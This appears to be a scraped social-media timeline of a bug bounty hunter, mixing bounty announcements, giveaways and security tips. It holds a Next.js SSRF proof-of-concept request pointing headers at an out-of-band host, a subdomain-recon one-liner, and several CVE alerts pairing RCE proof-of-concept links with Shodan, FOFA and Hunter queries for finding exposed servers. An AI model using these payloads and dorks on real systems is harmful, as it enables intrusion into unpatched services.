Elias Dortumor | DortNova

@xitsec @Bugcrowd Congrats !

I earned $267.30 for my submission on @bugcrowd bugcrowd.com/jobs #ItTakesACrowd #bugbounty

Nextjs SSRF in Middleware header! ✅POC: GET / HTTP/1.1 Host: target. com Location: http://oast. me X-Middleware-Rewrite: http://oast. me For more BugBounty tips join my telegram channel 👉🏼 t.me/ShellSec

@nav1n0x @0xAsm0d3us Ok 👍

@dortnova @0xAsm0d3us The repo has the link to my payloads list.

Simple LFI using my path traversal script on GitHub. Used @0xAsm0d3us’s ParamSpider to gather URLs, filtered for relevant parameters, slightly modified the script to inject payloads into parameters like ?path and ?file, & ran the script — got 1 hit out of 20k+ URLs. The target is from public VDP scraped from @arkadiyt’s list. #BugBounty

@bsidesahmedabad @offsectraining

🚨 OSCP GIVEAWAY ALERT🚨 We’re giving away 3 OSCP vouchers to supercharge your pentesting journey – proudly sponsored by @offsectraining ! 💥🙌 To enter: 1.✅ Follow Us 2.🔁 Retweet this post 3.❤️ Like this post 4.💬 Reply with your funniest cybersecurity meme 🎯 We’ll pick 3 random winners – don’t miss your chance to win the gold standard in offensive security! 🗓️ Deadline= 20 June Let the hacking+meme battle begin! 🧠💻 #OSCP #OffSec #Giveaway #BSidesAhmedabad #Infosec #Cybersecurity

🚀Persistence is key in bug bounty! 🔎💻 Just had one of my reports closed as a duplicate, but that only means I’m looking in the right places! 🎯 Every closed report is a step closer to the next big find. 💪 Bug bounty is a game of patience.#BugBounty #CyberSecurity #KeepHunting

I got a new invite to hack on a private program on hackerone today. The algorithm can be surprising sometimes. But perfect timing.🔥 💻 💪 #hackerone #bugbounty #tryharder #Cybersecurity

Get more subdomains by probing the csp headers of all previously discovered subdomains 💥 . This gives you more attack surface to hunt on. cat allsubs.txt | httpx -csp-probe -random-agent -retries 2 | grep \.domain\.com > domain_csp_subs.txt. #bugbountytips #BugBounty

🚨Alert🚨CVE-2024-27348: Unauthenticated users can execute OS commands via Groovy injection in Apache HugeGraph-Server. Upgrade to version 1.3.0 to mitigate. 🔥Python Scanner:github.com/Zeyad-Azima/CV… 📊200+ Services are found on hunter.how 🔗Hunter Link:hunter.how/list?searchVal… 👇Query Hunter: /product.name="Apache HugeGraph" FOFA: app="HugeGraph-Studio" SHODAN: http.title:"HugeGraph" #HugeGraph #RCE #hunterhow #infosec #infosecurity #Infosys #Vulnerability

Shout out to @golden_infosec 🙌💯 The content on his channel is just 🔥🔥 @g0lden1" target="_blank" rel="nofollow noopener">youtube.com/@g0lden1 #bugbounty #cybersecurity #infosec

You can find easy critical vulnerabilities. It just takes finding unique attack surfaces. Here's an example of how you can, using a story of how I hacked a car company:

⚠️⚠️ CVE-2024-21413 Microsoft Outlook RCE CVSS 9.8🔥 FOFA Query: app="Microsoft-Outlook" Link🔗: en.fofa.info/result?qbase64… Poc: github.com/xaitax/CVE-202… #cybersecurity #FOFA #OSINT #Outlook

Introducing cvemap! It collects CVE data from NVD and other critical sources, consolidating them into a singular, comprehensive repository. blog.projectdiscovery.io/announcing-cve…

🚨Alert🚨CVE-2024-20931 Oracle A RCE vuln based on Weblogic T3\IIOP protocol POC Released 📊10.9K+ Services are found on the Hunter.how 🔗Hunter:hunter.how/list?searchVal… Dorks 👇👇👇 Hunter:/product.name="WebLogic Server" FOFA: protocol="WebLogic" Shodan: product:"weblogic server" 📰PoC: github.com/GlassyAmadeus/… #Oracle #hunterhow #infosec #infosecurity #Infosys #vulnerability

#DidYouKnow Most of the #XSS payloads out there are completely USELESS! They are simple variations of the same XSS cases. Not even filter aware! KNOXSS has specially crafted payloads for dozens of scenarios w/ meaningful variations for each one. That's why KNOXSS is the best!

And yes, Jenkins CVE-2024-23897 was accepted ! Tip: Always use shodan to search for CVES. here is the shodan query -> product:Jenkins -"2.442"-"2.426.3" then use @h4x0r_dz POC #BugBounty #vulnerabilities #rce #bugcrowed #bugbountytip #bugbounty #CVE #security #Jenkins

🚨Alert🚨Two high-severity flaws found in Ivanti's Connect Secure, Policy Secure and Neurons for ZTA. ⚠CVE-2024-21893(CVSS: 8.2) is actively exploited, granting access to restricted resources. CVE-2024-21888 (CVSS: 8.8) enables escalation to admin. 📊30K+ Services are found on Hunter.how 🔗Hunter:hunter.how/list?searchVal… Dorks 👇👇👇 Hunter:/product.name="Ivanti Connect Secure" or product.name="Ivanti Policy Secure" SHODAN: http.title:"Ivanti Connect Secure" 📰Refer to thehackernews.com/2024/01/alert-… #Ivanti #hunterhow #infosec #infosecurity #Infosys #Vulnerability

@nav1n0x Nice Tactics 👍

My first-ever SQL injection in Oracle: SQLMap couldn't find any exploits, but Ghauri was successful here. Using my same old tactic, scraped URLs using WBU and manually tested URLs older than 2-3 years. #BugBounty #SQLInjection #Oracle

@GodfatherOrwa @hetmehtaa The GOAT !

I think @GodfatherOrwa should be banned from Finding SQLI, Others are left with Duplicates when he enters a program!